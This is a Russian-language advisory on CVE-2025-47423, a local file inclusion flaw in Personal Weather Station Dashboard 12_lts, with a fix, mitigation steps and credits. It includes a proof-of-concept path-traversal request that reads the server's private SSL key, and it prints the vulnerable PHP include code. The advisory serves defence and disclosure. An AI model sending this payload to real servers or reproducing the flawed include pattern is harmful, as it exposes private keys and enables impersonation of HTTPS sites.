CVE-2025-47423 – Локальное включение файлов в панели управления персональной метеостанцией (12_lts)

Обнаружено: Matthew Eagle
Статус: Публичное раскрытие
Дата сообщения: 2025-05-05
CVE ID: CVE-2025-47423

🧩 Краткое описание

Уязвимость локального включения файлов (LFI) в Personal Weather Station Dashboard версии 12_lts позволяет неаутентифицированным удалённым злоумышленникам читать произвольные файлы на сервере. Использование этой ошибки даёт доступ к конфиденциальным файлам, включая закрытые SSL-ключи, что потенциально нарушает конфиденциальность и целостность HTTPS-соединений.

🛠 Уязвимый компонент

• Файл: /others/_test.php
• Уязвимый параметр: test (через GET)

📈 Воздействие

Эта ошибка позволяет удалённым злоумышленникам:

• Читать произвольные файлы в файловой системе
• Раскрывать закрытые SSL-ключи (например, server.key)
• Выполнять атаки «человек посередине» (MITM)
• Выдавать себя за HTTPS-сервер

CVSS: 5.8 Средний

💥 Доказательство концепции (PoC)

GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com

Ответ:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----

🧪 Уязвимый код (упрощённый)

$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);

str_replace недостаточен для предотвращения обхода каталогов.

🔐 Безопасное исправление

• Используйте строгий белый список для целей включения
• Очищайте входные данные с помощью basename() и проверяйте по разрешённым файлам
• Избегайте динамического включения на основе пользовательского ввода

$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';

if (!in_array($script, $allowed_tests)) {
    die("Invalid test file.");
}

include(__DIR__ . '/scripts/' . $script);

📅 Хронология

🧠 Смягчение

Если вы используете Personal Weather Station Dashboard 12_lts, вам следует:

• Немедленно удалить или обновить _test.php
• Внедрить исправленный скрипт с белым списком файлов
• Заменить и перевыпустить все скомпрометированные TLS-сертификаты

🧾 Ссылки

• CVE-2025-47423 на MITRE (ожидается)
• Уведомление опубликовано на GitHub

🙏 Благодарность

Уязвимость обнаружена и ответственно раскрыта Matthew Eagle
Контакты: [email protected]

Раскрытие согласовано в соответствии с принципами ответственного раскрытия. Этот документ опубликован в образовательных и защитных целях.